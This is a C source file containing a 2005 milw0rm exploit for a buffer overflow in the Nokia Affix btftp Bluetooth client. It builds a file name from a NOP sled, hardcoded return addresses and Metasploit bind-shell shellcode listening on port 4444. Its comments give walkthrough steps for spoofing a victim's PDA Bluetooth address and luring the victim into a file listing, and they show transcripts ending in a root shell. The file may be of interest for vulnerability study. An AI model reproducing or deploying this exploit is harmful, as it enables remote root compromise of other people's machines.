lilbool/vuln-code-analysis
0
1/*
2
3- Tools you will probably need:
4- http://www.digitalmunition.com/setbd-affix.c
5- KF is one bad mofo /str0ke
6
7Remote Nokia Affix btftp client exploit
8by kf_lists[at]secnetops[dot]com
9
10threat:~# btftp
11Affix version: Affix 2.1.1
12Wellcome to OBEX ftp. Type ? for help.
13Mode: Bluetooth
14SDP: yes
15ftp> open 00:04:3e:65:a1:c8
16Connected.
17ftp> ls
18Z8Á¾ýÞ)á½Tnb 6 uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V
19 Ϲ¿)ýÞ
20ýÞÑýÞÐÉî¼Xq¶X6¶Y0
21
22----------------------
23
24root@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444
25Trying 192.168.1.207...
26Connected to 192.168.1.207.
27Escape character is '^]'.
28id;
29uid=0(root) gid=0(root) groups=0(root)
30: command not found
31hostname;
32threat
33: command not found
34
35
36
37*/
38
39#include <stdio.h>
40#include <strings.h>
41main()
42{
43 FILE *malfile;
44
45 /* linux_ia32_bind - LPORT=4444 Size=108 Encoder=Pex http://metasploit.com */
46 unsigned char scode[] =
47 "\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x99"
48 "\xee\x30\x5e\x83\xee\xfc\xe2\xf4\xa8\x35\x63\x1d\xca\x84\x32\x34"
49 "\xff\xb6\xa9\xd7\x78\x23\xb0\xc8\xda\xbc\x56\x36\x88\xb2\x56\x0d"
50 "\x10\x0f\x5a\x38\xc1\xbe\x61\x08\x10\x0f\xfd\xde\x29\x88\xe1\xbd"
51 "\x54\x6e\x62\x0c\xcf\xad\xb9\xbf\x29\x88\xfd\xde\x0a\x84\x32\x07"
52 "\x29\xd1\xfd\xde\xd0\x97\xc9\xee\x92\xbc\x58\x71\xb6\x9d\x58\x36"
53 "\xb6\x8c\x59\x30\x10\x0d\x62\x0d\x10\x0f\xfd\xde";
54
55 char buf[1024];
56 memset(buf,'\0',sizeof(buf));
57 memset(buf,'\x90',94);
58 strcat(buf+94,"\x75\xfb\xff\xbf");
59 strcat(buf+98,"\x75\xfb\xff\xbf");
60 memset(buf+102,'\x90',40);
61 strcat(buf+142,scode);
62
63 if(!(malfile = fopen(buf,"w+"))) {
64 printf("error opening file\n");
65 exit(1);
66 }
67
68 fprintf(malfile, "pwned\n" );
69 fclose(malfile);
70
71}
72
73
74/*
75First lets find someone to impersonate.
76
77root@frieza:~# btctl discovery
78Searching 8 sec ...
79Searching done. Resolving names ...
80done.
81+1: Address: 00:0c:76:46:f0:21, Class: 0xB20104, Key: "no", Name: "threat"
82 Computer (Desktop) [Networking,Object Transfer,Audio,Information]
83+2: Address: 00:10:60:29:4f:f1, Class: 0x420210, Key: "no", Name: "Bluetooth Modem"
84 Phone (Wired Modem/VoiceGW) [Networking,Telephony]
85+3: Address: 00:04:3e:65:a1:c8, Class: 0x120110, Key: "no", Name: "Pocket_PC"
86 Computer (Handheld PC/PDA) [Networking,Object Transfer]
87
88Lets pretend to be some poor chaps PDA.
89
90root@frieza:~# ./setbd-affix 00:04:3e:65:a1:c8
91Using BD_ADDR from command line
92Setting BDA to 00:04:3e:65:a1:c8
93
94root@frieza:~# btctl
95bt0 01:02:03:04:05:06
96 Flags: UP DISC CONN
97 RX: acl:159 sco:0 event:97 bytes:4810 errors:0 dropped:0
98 TX: acl:168 sco:0 cmd:29 bytes:19267 errors:0 dropped:0
99 Security: service pair [-auth, -encrypt]
100 Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3
101 Role: deny switch, remain slave
102
103root@frieza:~# btctl reset
104root@frieza:~# btctl down
105root@frieza:~# btctl up
106btctl: cmd_initdev: Unable to start device (bt0)
107root@frieza:~# btctl up
108root@frieza:~# btctl
109bt0 00:04:3e:65:a1:c8
110 Flags: UP DISC CONN
111 RX: acl:159 sco:0 event:126 bytes:5796 errors:0 dropped:0
112 TX: acl:168 sco:0 cmd:52 bytes:19885 errors:0 dropped:0
113 Security: service pair [-auth, -encrypt]
114 Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3
115 Role: deny switch, remain slave
116
117root@frieza:~# btctl name "Pocket_PC"
118
119God I love my ROK chip!
120
121Wait for the poor chap to use his affix btftp to connect to his Pocket_PC.
122Hopefully his bluetooth stack confuses us for his PDA.
123
124Obviously you need to find out the general area of your shellcode and fix the exploit accordingly.
125
1260xbffffb70: '\220' <repeats 40 times>,
127"3É\203éëèÿÿÿÿÀ^\201v\016\231î0^\203îüâô¨5c\035Ê\20424ÿ¶©×x#°ÈÚ¼V6\210²V\r\020\017Z8Á¾a\b\020\017ýÞ)\210á½Tnb\fϹ¿)\210ýÞ\n\2042\a)ÑýÞÐ\227Éî\222¼Xq¶\235X6¶\214Y0\020\rb\r\020\017ýÞ"
128
129root@frieza:/var/spool/affix/Inbox# pico ../btftp-ex.c
130root@frieza:/var/spool/affix/Inbox# cc -o ../btftp-ex ../btftp-ex.c
131root@frieza:/var/spool/affix/Inbox# ../btftp-ex
132
133Verify that a nice long file name is left behind.
134root@frieza:/var/spool/affix/Inbox# ls
135??????????????????????????????????????????????????????????????????????????????????????????????u???u???????????????????????????????????????????3??????????^?v???0^??????5c???24????x#????V6??V???Z8??a?????)???Tnb?????)?????2?)?????????Xq??X6??Y0??b?????
136
137Start up the bluetooth services.
138root@frieza:/etc/affix# btsrv -C ./btsrv.conf
139btsrv: main: btsrv started [Affix 2.1.2].
140btsrv: start_service: Bound service Serial Port to port 1
141btsrv: start_service: Bound service Dialup Networking to port 2
142btsrv: start_service: Bound service Dialup Networking Emulation to port 3
143btsrv: start_service: Bound service Fax Service to port 4
144btsrv: start_service: Bound service LAN Access to port 5
145btsrv: start_service: Bound service OBEX File Transfer to port 6
146btsrv: start_service: Bound service OBEX Object Push to port 7
147btsrv: start_service: Bound service Headset to port 8
148btsrv: start_service: Bound service HeadsetAG to port 9
149btsrv: start_service: Bound service HandsFree to port 10
150btsrv: start_service: Bound service HandsFreeAG to port 11
151
152Wait for the person to connect to your device and attempt to perform a file listing.
153This of course will trigger the overflow and execute your shellcode
154threat:~# btftp
155Affix version: Affix 2.1.1
156Wellcome to OBEX ftp. Type ? for help.
157Mode: Bluetooth
158SDP: yes
159ftp> open 00:04:3e:65:a1:c8
160Connected.
161ftp> ls
162Z8Á¾ýÞ)á½Tnb 6 uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V
163 Ϲ¿)ýÞ
164ýÞÑýÞÐÉî¼Xq¶X6¶Y0
165
166You can tell when they have connected via the following log file entries.
167
168btsrv: handle_input: Connection from 00:02:01:44:ad:99
169channel 6 (OBEX File Transfer Profile)
170btsrv: execute_cmd: Socket multiplexed to stdin/stdout
171btsrv: signal_handler: Sig handler : 2
172
173After they have done so you will use the PAND connection you already hacked to obtain your shell. =]
174Or perhaps write some bluetooth aware shellcode.
175
176root@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444
177Trying 192.168.1.207...
178Connected to 192.168.1.207.
179Escape character is '^]'.
180id;
181uid=0(root) gid=0(root) groups=0(root)
182: command not found
183hostname;
184threat
185: command not found
186*/
187
188// milw0rm.com [2005-07-03]